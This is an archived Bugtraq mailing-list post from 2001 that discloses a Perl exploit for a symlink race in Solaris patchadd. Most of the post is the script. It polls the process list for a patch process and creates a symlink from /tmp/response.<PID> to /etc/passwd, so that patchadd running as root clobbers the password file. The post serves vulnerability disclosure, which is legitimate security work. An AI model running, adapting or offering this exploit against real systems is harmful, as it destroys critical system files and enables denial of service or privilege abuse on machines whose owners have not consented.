Solaris Patchadd symlink exploit.
From: Larry W. Cashdollar (lwc@Vapid.dhs.org)Date: 08/27/01
- Previous message: zen-parse: "LPRng/rhs-printfilters - remote execution of commands"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Mon, 27 Aug 2001 12:17:52 -0400 (EDT) From: "Larry W. Cashdollar" <lwc@Vapid.dhs.org> To: bugtraq@securityfocus.com Subject: Solaris Patchadd symlink exploit. Message-ID: <Pine.SOL.4.21.0108271214130.31579-100000@Vapid.dhs.org>
Here is an exploit to an old bug for patchadd in Solaris. It exploits a
symlink vulnerability to clobber files with output from patchadd. This
was written and tested on Solaris 2.8 Sparc with the current patch cluster
applied.
-- Larry
http://vapid.dhs.org:8080
<----Begin perl---------------------------------------------------------->
#!/usr/local/bin/perl
#Exploit for patchadd Solaris 2.x. Symlink /tmp file creation
#vulnerability
#patchadd creates files in /tmp with mode 644 that can be used to clobber
#system files when executed by root.
#Larry W. Cashdollar
#http://vapid.dhs.org:8080
#See BID http://www.securityfocus.com/bid/2127
#Discovery credit: Jonathan Fortin jfortin@revelex.com
#Tested on SunOS smackdown 5.8 Generic_108528-10 sun4u sparc SUNW,Ultra-5_10
use strict;
my $NOISY = 1; # Do you want quiet output?
my $clobber = "/etc/passwd";
print "Listening for patchadd process...\n" if ($NOISY);
while(1) {
open (ps,"ps -ef | grep -v grep |grep -v PID |");
while(<ps>) {
my @args = (split " ", $_);
if (/patch/) {
print "Targeting PID $args[1] and symlinking response.$args[1] to
$clobber\n" if ($NOISY);
symlink($clobber,"/tmp/response.$args[1]");
exit(1);
}
}
}
<----end perl---------------------------------------------------------->
- Previous message: zen-parse: "LPRng/rhs-printfilters - remote execution of commands"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
